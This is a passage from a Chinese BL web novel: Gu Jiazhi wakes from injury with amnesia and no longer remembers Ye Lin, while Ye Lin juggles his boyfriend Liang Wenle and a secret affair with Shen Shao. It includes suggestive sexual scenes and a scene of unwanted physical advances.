叶临头疼,费劲思考,勉强编造出借口:“我,我就是想出去逛逛。都在外面了,顺便去看看。文乐,嘉致是你的好朋友,我才担心他的。” 梁文乐想到顾嘉致那个倒霉货没人爱,也是挺可怜的,于是收拾着装,准备出门。 外面是阴天,院子里的玫瑰花随之暗淡,风吹动草坪,像是下雨时的涟漪。 车开进市区后,天空还是阴沉沉的,但好在没有下雨。 到达医院后,就看到顾父顾母在跟医生聊天,好像是关于两兄弟的病情。 梁文乐好奇,也凑过去听。 原来顾嘉致和顾柘至少要一周才会醒过来,都没有生命危险,只是需要养伤。 这种重伤,就是需要休养很长的时间。 现在这个医院的设备有限,等到病人醒来后,还是建议移动到疗养条件更好的私人医院。 顾父顾母已经找了一个远在千里之外的封闭式疗养院,里面全部都是专家,会用最好的资源帮助他们康复。 医生还特意提到顾嘉致的病情特殊:“这位病人重伤之前,情绪有巨大的波动,已经影响到神经中枢。 醒过来的时候大脑可能会启动防御机制,致使他忘记某些痛苦的记忆,家属们注意别刺激到他。” 顾父顾母看向叶临,终于有点相信是顾柘嘲讽顾嘉致,才导致悲剧发生,纷纷叹气,感慨自己接下来需要好好教导孩子。 叶临却猛然想到那天在客厅,顾嘉致绝望的表情。 应该不只是因为顾柘,更是因为他。 明明顾嘉致对他吐槽过亲哥好几次,但他还是认错,当然会生气。被朋友背叛了,心里当然不会好受。 梁文乐摇摇头感慨:“顾嘉致这小子真惨,那我以后还是不要在他面前提顾柘了。” 顾父问他:“文乐,小柘跟嘉致的关系不好吗?” 梁文乐摆手直说:“他们两个人的关系本来就不好啊,伯父,也不是我多嘴。 我是真觉得,你们二位过于偏心顾柘,才导致顾嘉致变成现在这个样子,不恋家,还憎恶亲哥。” 叶临在心里感慨,梁文乐终于做了一件像人的好事,帮忙附和:“是这样的。” 梁文乐从小受宠,在顾父顾母面前也不需要顾及言语,继续盘点顾嘉致受的种种苦,以及顾柘的恶行。 顾父和顾母听完瞠目结舌,还是不敢相信这是他们看重的大儿子,但面对梁文乐,还是给予足够的尊重,附和两句完事。 不过听完这些话,他们还是会去看看顾嘉致。 叶临看到顾嘉致房间里的心率显示器正常,终于安心了。 还好昨天只是一场噩梦,顾嘉致并不会出事。 接下来的几天里,顾嘉致转入高级病房,可以进去探望他。 沈邵习惯性讲究人情世故,听闻顾嘉致重病后,选了个空闲的日子来医院。 结果在病房里看到叶临坐在病床旁边,抓着顾嘉致的手,叽里咕噜的,不知道在讲些什么。 病房里也没有其他人,感觉他们就像是一对两情相悦的苦情恋人,经历生离死别后,还不肯分开。 顾嘉致是为了叶临就差点失去性命,而叶临也苦苦守候顾嘉致,不离不弃。 与此同时,他们还面临着家长的阻拦,需要背着朋友梁文乐才能获得片刻的温存。 真是感天动地,已经可以该改编成爱情电影了。 沈邵走进去就啧啧两声,放下礼物就阴阳怪气起来:“你一个人跑来这里,不怕梁文乐怀疑吗?” 跟这种贱人没什么好说的,回应了反而起劲。 叶临都懒得搭理,只是专注地看着病床上的顾嘉致。 顾嘉致面部缠满了绷带,只露出鼻子和眼睛,像个木乃伊。 他从未这样脆弱过,像个随时都可能被风吹散的沙塔。 以前都是神采奕奕,敢怼敢闯,讲义气,愿意豁出一切。 叶临觉得自己能和顾嘉致关系好,应该是顾嘉致身上有他欣赏的优点。 在这个陌生的世界里,虽然可以借助系统到达人生巅峰,可身边大都是可以利用的工具人。 比如利用沈邵管理梵星,利用梁文乐完成投资,以后还会利用更多人。 只有顾嘉致不同,对他不是单纯的利用心理,还掺杂着其他的复杂感情。 但现在的叶临并不能够完全悟透这种复杂的感情。 他只知道,自己比任何人都担心顾嘉致,希望顾嘉致快点好起来。 沈邵走到叶临旁边,蹲下来提醒:“你小心点,万一梁文乐突然进来,你有理也说不清?” 叶临怕吵到顾嘉致休息,站起来将沈邵拽到窗边的位置,用力戳心口警告:“送完礼物就出去,别在这里吵吵嚷嚷。” 沈邵小心地避开脱臼的手臂,将他制住,再搂进怀里抱着,低头去闻颈窝的香气,神情痴迷:“我可是他的好朋友,当然要来看他。至于你,又不是他的妻子,苦苦守在病床边像什么样子?” 叶临想推开他,但只有一只手臂,还要顾及到动静的音量,只能小幅度地挣扎:“放,放开!” 玻璃外面是绿意盎然的槐树,一眼看过去就像是绿颜料泼上去,浓烈深邃。 沈邵抱着叶临站在窗边,背靠着大片绿意,面朝着病床。 他低着头去嗅,手脚不老实,偶尔看到顾嘉致,眼神中就流露出做坏事才有的极大满足。 洁白的病房,难闻的消毒水,肃静的氛围,重病昏迷的好兄弟,伤心痴情的妻子。 怀里的人挣扎得越厉害,他越高兴,还要补充一句:“嘉致啊,你放心好了,我会替你照顾好叶临的。” 这瞬间,他就变成那种觊觎兄弟妻多日的歹徒,就盼着兄弟重病不醒,才好偷香窃玉。 叶临心中的怒火就像是沸腾的水,全部满溢出来,忍无可忍。 趁着沈邵走神,抬脚去踩,再挥手肘击。 沈邵被这一套击中,疼得倒吸一口冷气,但还是忍住声音。 刚刚那段话就像是要咒顾嘉致去死,恶毒至极! 叶临气不过,又挥手给了沈邵一巴掌,揪住衣领提到面前警告:“沈邵,你最好老实点,不然我真的会辞了你。你以为梵星现在是靠谁才活着!” 沈邵的半张脸红起来,眉心被抵住,温热的气息扑撒过来,还对上了凶狠如猎豹般的眼神。 他从没见过这样的叶临,很有意思,非常新奇。 “好啊,那我现在就走。但我还是要提醒你,顾父顾母都恐同,你最好别对顾嘉致做出什么亲密动作,否则他们看到,会被吓死。” “我,我才不会对顾嘉致做出亲密的动作。” “哦,那摸着他的手背,含情脉脉地看,不算吗?” “那,那怎么算了,只是担心好朋友的正常反应。” 叶临松开手,扭头去看顾嘉致,若有所思。 沈邵懒得点醒他,只是要求:“你现在就去跟梁文乐分手,然后跟顾嘉致谈恋爱,再跟我偷情,我是非常乐意的。” 叶临有时候真想用水泥封住沈邵的嘴,免得他又说出这些奇怪的话。 沈邵低头帮他整理衣领,语气幽怨:“最爱的情人只能有我一个,知道吗? 还有,你跟顾嘉致谈恋爱后,不能只喜欢顾嘉致,心里要有我的位置,一点点也行。” 他不在意叶临的正牌男友和正牌老公是谁,但叶临的小三只能是他。 叶临不能背着他去找小四小五,必须找经过他挑选的小四小五。他挑的人,保质保量,还不会乱闹,更不会骑到他的头上! 总的来说,他必须是第三者位置里最高的一位,低一点都不行。 叶临不耐烦地推开他,做出驱赶的手势:“快走快走,烦死了!” 沈邵又亲了他的脸颊,两步三回头,缓慢地离开病房,像个好不容易被临幸的妃子,依依不舍。 其实比起幼稚愚蠢的梁文乐,他更满意顾嘉致做叶临的男朋友。 但现在叶临太喜欢顾嘉致了,让他做男朋友,就有很高的风险。 万一叶临突然开窍,只想跟顾嘉致厮守,哪里还有他的位置。 想到这里,沈邵在顾柘的病房前停下来,往里看去。 顾柘也是缠满了绷带,周围摆满礼物,还有困得眼睛睁不开的顾父在旁守着。 虽然叶临什么也不说,但直觉告诉他,这对双胞胎打架,肯定跟叶临脱不了干系。 沈邵犹豫片刻,还是朝着顾柘的病房走进去。 五天后,顾嘉致和顾柘都醒了过来。 正是大好晴天,万里无云,天空是明亮的湛蓝色。 阳光刺眼,路边的绿树被晒得发油,高楼大厦窗户都在反光,刺眼目眩。 下车的时候,梁文乐戴墨镜,打着遮阳伞,轻轻地搂着旁边的叶临,抱怨天气太晒。 叶临满心都是去医院看顾嘉致,随口敷衍两句。 进了医院后,梁文乐收好伞,再摘下墨镜,才朝着病房走去。 他今天穿着淡黄色绿领短衫,上面有可爱的卡通图案,跟叶临是情侣装,专门去找大牌定制,logo都是精致的刺绣。 因为长得高,五官精致立体,能将这套衣服穿出秀场模特的风范,吸引了很多人的目光。 旁边的叶临不喜欢被人这样打量,总感觉自己变成了以前最怕的潮人,连忙加快速度。 两个病房里都围着很多人,出乎意料的是,顾嘉致的病房反而人更多,甚至顾父顾母都在。 梁文乐走进去,朝着病床上的顾嘉致高声打招呼:“哇,你小子终于醒过来了!” 顾嘉致坐不起来,只能躺着回复:“我再不醒,你就得咒我死了吧!” 梁文乐微笑跟周围的人示意,在旁边的凳子坐下来,无奈地啧啧两声:“看你这样,惨死了。毁容的话,我估计是找不到女朋友了!” 顾嘉致想动身体去揍这个损友,但只能发出声音:“切,少咒我!” 顾父顾母在旁边叹息,都劝他:“嘉致啊,以后不要跟哥哥打架了,这几天,爸爸妈妈都很担心。” 顾嘉致只是扫了他们一眼,埋怨道:“你们怎么不去跟顾柘说,让他别跟我打!” 梁文乐注意到朋友的情绪,出声打圆场:“好了伯父伯母,你们去看顾柘吧,让嘉致跟朋友们聊聊天。” 顾父顾母惦记着医生口中的后遗症,还是叮嘱梁文乐有什么事就来隔壁找他们。 等他们一走,整个病房就只剩下年轻人,气氛随之活跃起来。 叶临放心走到病床前,坐下来跟顾嘉致打招呼:“嘉致,你终于醒过来了,现在感觉好点了吗?” 顾嘉致记得眼前这个人,看他跟梁文乐穿情侣装,礼貌性地微笑:“是你啊,居然跟梁文乐谈上了?” 叶临听完他的话,心下一沉。 梁文乐感觉不对劲,搂住叶临的肩膀,笑起来问:“你忘记了,叶临早就跟我谈恋爱了?” 顾嘉致早知道梁文乐是gay,痴恋沈邵多年,于是故意调侃:“你以前不是喜*欢沈邵嘛,怎么现在想通了?” 梁文乐早就放下这个初恋:“哎呀别提了,我现在觉得叶临才是世界上最好的人,才不喜欢沈邵。” 顾嘉致跟周围的朋友都笑起来,由衷地夸奖:“你想通就好,叶临长得确实好看,可爱又性。感。” 梁文乐将叶临护进怀里,指着他的眉心警告:“你小子别看上叶临了,他是我的人,谁都不给。” 有人调侃道:“嘉致,快别夸叶临好看了。梁文乐把他当宝贝,可不许别人多看一眼呢。” 顾嘉致又看了叶临几眼,发现这个人身上有少年气息,长相干净,眼神却格外妩媚动人,越看越喜欢:“你忘记了,我不喜欢男人。” 周围又爆发出笑声,嘻嘻哈哈地倒成几团。 叶临像个外人,仿佛回到最初在酒吧遇到顾嘉致的时候,一群富二代拿他当乐子。 他感觉有什么变了,忍不住问顾嘉致:“你还记得自己为什么跟顾柘打架吗?” 顾嘉致随口说:“肯定是他欠”。 可是仔细回想,却怎么想不起来。 大脑像是被白布蒙住,什么也看不清,头疼欲裂, “头,头好痛啊!”顾嘉致皱着眉叫起来。 “怎么回事,快叫医生!”梁文乐叫了一声,房间里立即有人跑出去。 叶临心中有千言万语想问顾嘉致:记不记得你帮过我还贷款,记不记得我们住过的公寓? 记不记得夜里你总是搂着我才能睡着,记不记得你骂过梁文乐是蠢货,记不记得你为了我离开顾家去梵星? 但这些事情都是只属于他和顾嘉致的记忆,不能公之于众,被迫埋藏于心底。 此刻,他们明明离得那么近,却又像是隔着万水千山那么远。 等到医生赶到后,又用精密的仪器检查过,才得出结论。 顾嘉致失去了一部分记忆,经过排查才发现他忘记了上大学以后的所有经历,记忆停留在刚上大学要跟朋友们出去庆祝喝酒。 他记得所有年少时期就结交的朋友。 而叶临对于他而言,只是个叶家的私生子,梁文乐的男朋友。 除此之外,再无其他。 第35章 第35章别在窗边…… 医生使用了药剂才让顾嘉致的头疼有所缓解,还建议家属和亲戚不要提有关于大学后的事情,等他康复后再提,这样才能保护大脑。 叶临听到医生的医嘱,一时之间也不敢问顾嘉致关于他们之间的事情,只能默默地陪在梁文乐旁边,充当男朋友的角色,对他表示关心。 朋友们的话题几乎都围绕着顾嘉致和梁文乐展开,尤其是梁文乐,仍旧是中心。 顾嘉致还问打趣地问梁文乐:“你小子谈了恋爱,是不是都不跟哥几个出去玩了?” 有人立即吐槽:“对啊,对啊!嘉致你不知道,文乐现在有多难约,成天就知道围着叶临转。” 还有人说:“就是啊,文乐可是个痴情种,现在只喜欢叶临一个人了,重色忘友,早都把兄弟几个忘记了!” 梁文乐很享受被他们吹捧的感觉,下意识地搂紧叶临的腰,嫌弃地看向其他人:“我现在可是有对象的人,哪里像你们几个单身狗,每天晚上只有一个人,好没趣。” 大家都笑起来,其实他们每天晚上都会和一堆人玩,哪里会过得无趣。但面对纯情文乐,还是要附和两句话。 叶临被他抱紧不太自在,有意识地偏头躲开,小声提醒:“顾伯父伯母看到会吓晕过去的,你动作小心点。” 梁文乐凑近脸颊,哼了一声,看向门口:“他们又不在,再说了,让我亲一下也没啥吧?” 叶临无奈地叹气。 梁文乐要亲,旁边的人就开始起哄。 顾嘉致捕捉到叶临眼神里的嫌弃与为难,莫名其妙地想为他解围,立即出声制止:“哎呀文乐,这里是医院,你这样腻歪,想酸死我们啊!” 梁文乐抬头去看周围的朋友们,得意地笑起来:“哼,就是要酸你们!” 叶临趁机挽住他的胳膊,靠过去低声说道:“文乐,我有点困了,先回去吧。” 再不走,鬼知道梁文乐又要做出什么奇怪的举动。 既然顾嘉致已经醒了,那安心了,以后有机会再偷偷来看。 梁文乐摸摸他的鼻子,声音温柔得要腻出水:“困了,那我抱你回去。” 有人嫌弃地“咦”了一声,调侃他:“文乐,你好宠溺,受不了!” 顾嘉致也骂骂咧咧地赶人:“快滚快滚,少在这里膈应人,我看不了臭情侣亲密!” 梁文乐干脆把叶临抱起来,在朋友们的欢呼声朝着病床外走去,骄傲得像个娶到心上人的王子。 叶临阻止不了他,只能捂住脸,减少尴尬。 他忽然幻视以前初中的时候,跟着兄弟们在外面吃夜宵,艳丽的彩灯,简易塑料伞和塑料凳搭建而成的烧烤棚。 桌上摆满烧烤和啤酒,大家都瘦得像竹竿,染着彩色头发。 大哥牵着一个女生进来,向所有人宣布这是嫂子,大家都在欢呼调侃。 艹!原来当时那个女生捂着脸不是害羞,是尴尬啊! 叶临终于能够感同身受,他甚至觉得当时的大哥像梁文乐一样,是个脑瘫。 还好,后来女生跟大哥分手了。 他利用完梁文乐,也要分手! 下定决心后叶临心无波澜,直到进入豪车内才反应过来,这种脑残仪式结束了。 他已经二十多岁了,无法共情15岁的自己。 现在很想问问旁边的梁文乐,是不是还没成年,才会做出这种初中生才能做出的事情。 梁文乐坐上驾驶座后,侧过身去亲他:“怎么样,你刚刚高兴吗?” 叶临点点头,演都不演了,情绪平淡。 梁文乐马上反应过来,气得捶柔软的靠垫:“你撒谎,明明就是很嫌弃。为什么啊,我觉得让大家都知道你是我喜欢的人,多好!” 叶临叹息一声:“文乐,我本来就是你的男朋友,大家都知道你喜欢我,没必要用这种奇怪的仪式证明吧?” 梁文乐懵了:“很奇怪吗?” 叶临无奈摆手:“算了,你开心就好,我们快点回去吧。” 梁文乐像个泄气的皮球,他也很想像叶临那样随时随地说出好听的情话,计划浪漫的约会。 越想越不服气,必须得想办法证明自己! 梁文乐在心里酝酿了计划,启动车子朝着别墅开去。 为了给叶临一个惊喜,这段时间他都没有回别墅,经常早出晚归,连课都翘掉。 叶临乐得轻松,可以趁机多去医院看顾嘉致,还能够抽空出监管梵星的运作情况。 没了顾嘉致后,沈邵不知道从哪里找来一个厉害的高手,大大地提升了市场部的工作效率,月流水破百万。 不过这些高手的费用太高,属实肉疼。 沈邵经常会怀念便宜好用的大学生顾嘉致,看到叶临就会吐槽公司的费用紧张,需要加钱。 叶临一般会跟他讨价还价,最后给个折中的数字,双方都能接受。 这天讨论完研发部的预算,叶临口干舌燥,在沙发坐下来,喝了沈邵办公室里的茶水。 很淡的味道,跟白开水一样,勉强能接受。 沙发背靠着窗户,能够感受到外面的紫外线强度,感觉站三个小时,都会变黑。 沈邵拿出遥控关上窗帘,在沙发对面坐下来,拿起茶杯喝了一小口。 办公室里的光线变暗,光线被窗帘过滤,变得柔和,打在沈邵的脸上,就像是蒙上了最薄的轻纱。 沈邵的五官分布均匀,鼻梁直挺,下颌方正,线条不过分锋利硬朗,反而收放有度,尽显东方的内敛,十分耐看。 刚好,他穿着烟灰色的定制西装,额前碎发微卷向两边分开,露出饱满的额头。还戴了一副金属边框眼镜,身上的儒雅气息更浓。 光是看这张脸,还以为是那个大学的文学系教授,哪里会想到会是个癖好特殊的斯文败类。 叶临漫不经心地扫过沈邵的脸,感觉妈妈辈肯定很喜欢他这种长相,接着就想到梁文乐那张过分张扬明艳的脸。 以前还能跟顾嘉致吐槽梁文乐,但顾嘉致失忆后就说不了太多话,现在也只能找沈邵吐槽了。 叶临把茶杯放在桌子上:“你说3岁的差距很大吗?” 沈邵看他神情忧愁,估计是在梁文乐哪里吃了苦头,直接开问:“说吧,梁文乐又怎么了?” 叶临嫌弃地把梁文乐的所作所为都说了一遍,气愤地吐槽:“你说,15岁和18岁怎么能一样呢,完全看不出他身上有任何成熟的气息,感觉像个中学生,无语!” 沈邵早有预料,轻声笑起来:“18岁的男人本来就很幼稚。 梁文乐又是从小被宠到大,身边人都惯着他,没吃过苦,当然像个没长大的小孩。你信不信,他18岁是这样,28岁还是这样,幼稚愚蠢。” 叶临苦着脸点头:“信,我太信了,真的好弱智!” 沈邵趁机挪到他旁边,拿出手机翻出里面的一张合照,递给叶临看:“梁文乐这个人命好,永远都是人群中心,别人生日都要站在C位。 你看合照里,就他眼神干净。周围人都得应和他,眼神疲惫。” 叶临凑过去看,果然照片里的梁文乐站在C位,手里拿着仙女棒,眉眼弯弯,眼神干净澄澈,笑容灿烂。 而其他的人都是假笑,眼神或是阴沉,或是谄媚,或是生无可恋,总之都感觉到不到真正的开心。 照片里只有梁文乐一个活人,其他人都是得围着他转的机器。 在梁文乐的世界里,万事万物简单干脆,大概最大的烦恼就是每周还得抽空两三个小时上学吧。 人如其名,人生中90%的时间都是开开心心,无忧无虑。 怪不得梁文乐看起来蠢蠢的,因为他做什么都会有人捧场,有人夸奖,根本不需要聪明。 察言观色,人情世故永远跟他无缘。 就像那天在顾嘉致的病房里,他只是坐在那里,什么都没干,每分每秒都在接受赞扬和奉承。 就连病人顾嘉致都给他面子,顺着他说话。 叶临生出了嫉妒的心理,感慨道:“这小子命真好。” 沈邵的眼尾上扬,笑得幸灾乐祸:“也不是,总有一天他会尝到背叛的痛苦。” 叶临推开手机,摆摆手:“别给我看他了,心烦。” 沈邵放下手机,不动声色地从旁边搂住他,头埋进肩窝里:“手好点了吗?” 叶临试着抬手,已经没有痛感:“差不多了,但我还是多装几天吧,免得梁文乐又瞎折腾。” 沈邵满意地跪下来,抬眼看他,眼中闪过精明的光:“想要的话,就帮我摘眼镜。” 叶临尝过那种滋味,老实说确实容易上瘾,于是伸出手摘掉眼镜。 可是还没等他把眼镜放下,手臂就发颤拿不稳。 眼镜随之掉落,砸在瓷砖地板上,发出脆响。 叶临全身都放松下来,几乎是瘫坐着,感觉自己变成了烤化的白色巧克力,肆意流淌。 有时候,他会用力抓住沙发扶手,有时候又会仰起头。 呼吸时快时慢,嘴唇微张,呼出热气。 门外响起敲门声,是一个要递交文件的员工。 “沈总,上个季度的数据我整理出来,想给你过目。” 沈邵没有回答,只是抬眼去看叶临,眼神示意。 叶临快恨死他,非要卡在这个时候。 “沈总,我进来了?” “别别别!” “叶总,你也在?” “我,我跟......”叶临刚想找借口,就被沈邵强行阻止,气得抓紧沙发垫,咬牙道:“我跟沈总有要事要谈,你待会儿再来送文件。” “可是我......” 员工不理解,但还是抱着材料回到工位,总觉得这两个领导很奇怪,每次在办公室里谈话,一谈就是一下午。 看来,他得晚点交。 听到员工的脚步声远去,叶临才勉强松了一口气。 可是下一刻,突如其来的攻击,就让他差点忍不住,只好捂住嘴。 沈邵的烟灰色西装已经脏了,要是今天穿的黑色西装,上面的污渍只会更明显。 他很喜欢叶临,绝不嫌弃。 无论哪里都值得细细品尝。 他解开一颗扣子松气,附身去吻。 叶临像个无处可逃的小动物,左扭右扭,都离不开凶猛肉食动物的狩猎圈。 只能被牢牢地禁锢,每一次呼吸都会被掠夺。 氧气是匮乏的,温度是极高的,光线也透不进来,是空间的极限压榨。 沈邵总能一次又一次拿出新花样,让人难以自持。 叶临突然悬空,紧接着就朝着窗户靠近。 他的瞳孔猝然瞪大,紧紧地抓着西装衣袖。 “沈邵,你疯了,回去!” “这边景色好,我想让你看看。” “疯,疯子!” 沈邵低头去亲他,像是哄爱哭不听话的孩子,还要做出成熟长辈的模样叮嘱:“嘘,小声点,外面还有人。” 叶临紧紧地抓他的手背,手指深深地嵌进去,已经抠出血:“停,停下!” 沈邵像是感知不到痛觉,可以无视手背上的血,还在坚持自己的想法:“放心,有窗帘,你可以透过这个缝隙看看外面的风景。 公司很多员工都觉得公司地理位置好,景色优美,可以放松身心呢。” 窗帘并不是深色的,还能够透出光亮,在它背后,跟挨着玻璃窗户没多大区别,都是一样无法忍受。 如果说外面是炎热的六月天,那么房间里就变成了深冬一月,天色阴沉,寒风呼啸。 这迅猛无情的风打在身上,像是抽板子,寒冷的同时能够感觉到疼意。 叶临的脸贴着窗帘,整个人都在发抖,怕冷极了。 他的目光透过缝隙,看到街道上人来人往,都是陌生的男女。 也不知道这些人走路的时候会不会抬头看,会不会发现这副情景? 越想越害怕,紧接着就会下意识地用力。 “啧!”沈邵头皮发麻,凑到叶临耳边低声赞叹:“看来你今天很满意,真是让我.....” “去死!”叶临终于绷不住,眼泪随之滑落,同时失去了力气往下坠。 也不能把人欺负得太惨,下次不来就亏了。 沈邵将人捞起来,抱到沙发轻轻地安抚,还吻去泪水。 叶临刚回过神来,就去踹他,结果又被折腾。 虽然他们打得有来有回,但沈邵会刻意放水,避开叶临的手臂,不让他受伤。 一场大战下来,沈邵的手臂,手背手心,后背,脖子,脸颊都有了不同程度的抓痕。 而叶临毫发无损,甚至神情满足了,像是吃饱饭要晒太阳的小猫。 他躺在满是抓痕的沙发上休息,嘴里还在骂着沈邵。 沈邵用湿巾收拾残局,亲亲他的眉心,柔声问:“今天下午去我那里吃饭吗,我做了你爱吃的海鲜粥。” 粥这种食物,在叶临眼里一直都是寡淡无聊的,甚至是难吃。 可沈邵就是能够把粥做得鲜香滑嫩,滋味丰富无穷,远远超过外面的大厨。 叶临光是听他说名字,肚子里的馋虫就被勾出来,拍拍他的脸:“给你个面子好了。” 沈邵得到允可,利落地收拾下班,开车带他回公寓。 海鲜粥早上就提前做好,在锅里保温,再做些配菜出来,就是一餐美味健康的晚饭。 叶临吃饱喝足,躺在沙发上玩手机,没一会儿就感觉肚子疼,哀嚎起来。 沈邵连忙走过来,在他旁边坐下来,伸出手去帮他揉腹部:“都说不要吃太多,积食了吧。” 叶临瞪他:“拜托,要是你做少一点,我哪里会多吃。” “行吧,你最有理。” “本来就是,下次你做少了,我就吃得少。我可是个品德高尚的人,最忌讳浪费粮食,所以都会吃干净。” “嗯嗯,做少了你要抱怨不够吃,做多了又说我不体谅你,反正你都有理,我没理。” “你烦死了!” 叶临抬手想去打他,结果被了一枚助消化的药片,只好咬碎吃掉。 这是沈邵专门找来的药片,酸酸甜甜的,还有水果的清香,可以当零食吃。 沈邵的手法熟练,腹部的疼痛很快就得到缓解。 叶临又可以专心打游戏,都没注意到有人在揩油。 “感觉你胖了点,肚子上的肉都多了。” “啊,痒痒痒,别挠!” 叶临直接用手机砸沈邵的手,不许他再多嘴。 梁文乐忙碌的日子里,他经常去医院看望顾嘉致,看到沈邵的消息,又会顺道来这里吃饭。 伙食好了,当然会长些肉,但不是很明显。 顾嘉致还是不记得他,只是把他当成梁文乐的朋友看待,还会刻意保持距离,偶尔跟他说说话。 他又不敢直接说出以前的事情,那样会刺激到顾嘉致,加重病情。只能等拆绷带,稍微好点再说。 沈邵注意到手机里的人物死亡,搂住叶临问:“怎么走神了,在想什么?” 叶临关掉手机,长叹一口气:“顾嘉致啊,你说他以前在公司,我们三个人合作多方便,还省钱。现在他一走,就得花大价钱请人才,真难。” “确实很省钱,顾嘉致还没记起来吗?” “没有,他都忘记我了,怎么可能记得梵星的事业。” “这句话听起来好伤心啊,你喜欢他,觉得他忘记你,就失望吗?” “才,才没有。”叶临说话的语调不稳,他接受了二十多年的异性恋教育,潜意识里无法接受男同性恋,还是下意识地反驳:“我是直男,怎么可能喜欢他?” “我还以为你老说自己直男,为了钱骗梁文乐,结果性取向变弯了呢?”沈邵故意引导他坚定自己的想法:“原来还是直男啊,那真看不出来。” “哪里看不出来了?我,我又没有跟顾嘉致告白,也没有非他不可,外人误会我喜欢梁文乐,都不误会我喜欢顾嘉致好吧。” “这个确实,看来你不喜欢他。而且他也不喜欢你,不然早告白,早霸占你不可了。” “但我们是好朋友的关系,比任何人都要好。” “嗯,好朋友也有像你们两个人这样的,很关心对方,会担心对方的生命安全,偶尔也会互相帮助解决需求。” “是,是吧。” “就是啊,你是直男,总不能为了顾嘉致不结婚生子吧?” “那肯定不会,我中年的时候事业成功,还是要成家的。” “那就好了,我们叶临以后成为首富了,要成家的。” “但是再说吧,感觉好有很久呢。”叶临刚穿书的时候,很想找个美女做老婆,再生一堆孩子。 但现在却没有那种强烈的想法,更多是希望顾嘉致快点好起来,以及梵星快点上市。 “好,我觉得顾嘉致肯定也愿意跟你做一辈子的好朋友。” 顾嘉致住院这段时间,叶临经常来找他吐槽,寻求安慰,让他平淡忙碌的日子变得温馨幸福。 如果没有顾嘉致,那叶临无论跑到哪里,都会念着他这个人,念着他们的小家,多美好的生活。 沈邵现在可不敢让叶临看清自己的内心,必须规劝叶临做个直男,才会有机会。 叶临最近很喜欢跟沈邵聊天,感觉这混蛋说话难听的时候是真恶心,但也能说出让人舒服的话语,比如嘲讽梁文乐,理解他怀念顾嘉致的心情。 傍晚过后,沈邵会主动结束沙发温存时间,进入书房处理积攒的工作。 叶临会默契地离开公寓,朝着小别墅走。 但想到梁文乐今天晚上不回别墅,还是想去医院看看顾嘉致。 刚冒出这个念头,几分钟就到了医院。 入夜的医院人少,全是白灯白墙,没有排队的大厅显得格外空旷和寂静。 进入病房走廊,能够感到嗖嗖的冷气。 叶临摸了摸胳膊,朝着熟悉的病房走去。 刚好病房里没有人,只有顾嘉致在睡觉,呼吸很轻,安静得只剩下机器的滴滴声。 叶临轻手轻脚地走到床边,坐下来盯着顾嘉致看。 其实没什么好看的,全脸都蒙上了绷带,但就是想看。 可能是觉得这样看着,听旁边的机器声,就会觉得这个人活着。 “你什么时候才能想起关于我们的事情?” 叶临怕吵到他,声如蚊呐。 可顾嘉致还是听到了,眼皮微皱,挣扎了一会儿。 片刻后,还是睁开,看向叶临。 “我觉得你这个人很奇怪,为什么总是不带梁文乐,一个人来看我?” “你没睡着啊?” “刚睡,谁让你多嘴,就被吵醒了。你最好解释清楚!梁文乐这么宝贝你,我可不想被梁文乐误会,到时候肯定要发疯乱咬人,有病一样!” “文乐不会误会的,我们只是好朋友。” “不是,你听听你这句话真吗?只是好朋友,为什么要偷偷来看我?只是好朋友,怎么用这种眼神看我,我真的快被你吓死了!” “啊?” 第36章 第36章“顾嘉致,你敢赶我走!”…… 叶临不理解顾嘉致的脑回路,只能用最苍白无力的方式证明自己:“反正,你不要误会就是了。” 顾嘉致说不通,真的苦恼。他知道自己有钱帅气,被人喜欢很正常。 但也不能被兄弟的男朋友喜欢吧,尤其是梁文乐这个人,就很难搞。 “你还头疼吗?” 因为顾嘉致是平躺着,所以叶临的脸就放在手臂上,贴着病床边缘,才能看清他的眼睛,小声说话。 他长得显小,睁着水亮的眼睛看人,脸颊还贴着手背,看起来更为稚气懵懂。 偏偏衣服领口又大,能够瞥见一些痕迹。 肯定是梁文乐留下来的,红得刺目。 顾嘉致看得心痒,暗骂叶临故意勾引人,干脆闭上眼赶人:“你走了,我就不头疼。” 叶临反应过来了,顾嘉致嫌弃他,要他赶紧走。 可是以前的顾嘉致恨不得天天舔着他,哪里会用这种语气说话。 失忆了就变成这副模样吗? 叶临心里不爽,直起身警告:“顾嘉致,你敢赶我走!等你恢复记忆了,我就要你好看!” 这话说得理直气壮,好像被他娇纵过一段时间,可以完全不顾他的病情,对他放狠话。 只是一个叶家私生子而已,居然敢威胁他? 顾嘉致微微皱眉,漫不经心地敷衍他:“说得好像我以前跟你很熟一样? 拜托,你只是个稍微长得好看的私生子,平时很少有机会接触到我吧。 别在这里瞎套近乎,我对你客气,只是看在梁文乐的面子上。” 这句话就像是利刃划开描绘优美风景的画作,露出被挡住的斑驳墙壁,满是污垢,裂纹密布,丑陋不堪。 叶临看着他说不出话,就像看着陌生人。他怀疑被层层叠叠绷带包裹住的人换了灵魂,完全不是他认识的顾嘉致。 顾嘉致本来看在美貌的份上,还乐意装一下,可叶临最近老是跑到医院烦他,就不得不说重话了。 更何况都是实话,像叶临这样的人,如果不是抱上梁文乐这个大腿,这辈子都没机会见到他。 叶临沉思了片刻,问他:“顾嘉致,你看不起我?” 顾嘉致听到这句质问,下意识地心里发颤,像是雨天听到了打雷声,连忙睁开眼去看。 只见叶临的眼神失望,咬着牙,多了几丝幽怨的美感。 他的目光在白皙细腻的脸颊上来回流转,愿意说些好话:“也不是看不起,你挺厉害的了,能够把梁文乐骗到手,让他对你百依百顺。 但我比梁文乐聪明多了,不会轻易上当受骗,明白吗?” 叶临的语气冷下来:“我没想骗你的钱,你都没有梁文乐富有,银行卡里甚至还有我给的三千万。” 顾嘉致惊了,眼珠子都要瞪出来:“你不要乱造谣,我从小就不缺钱,怎么可能会要你的钱!” 叶临呵呵两声,盯着他的眼睛问:“顾嘉致你说实话,你第一次见到我是什么感觉?” 顾嘉致不耐烦地敷衍他:“好看,聪明,有手段。我现在可都是在夸你了哈,别回去跟梁文乐告状,让他来教训我。” 叶临没了继续聊天的心情,站起来就往病房走。 他仔细回忆自己和顾嘉致曾经相处的细节,总感觉哪里不对劲。 一开始顾嘉致就带他回公寓,还帮他还贷款,后面更是收留给他吃住,难道是纯粹的好心吗? 物以类聚,人以群分。梁文乐品德差,难道顾嘉致就是个正直的好人吗? 今天听顾嘉致说话的语气,倒真像回到最初被梁文乐嫌弃贬低的时候。 叶临知道梁文乐身边富二代的德行,出身好,从小享尽荣华富贵,游手好闲,好高骛远,不需要努力就能获得一切,还喜欢看不起人。 他一直觉得梁文乐活该被自己骗,最好骗得倾家荡产。 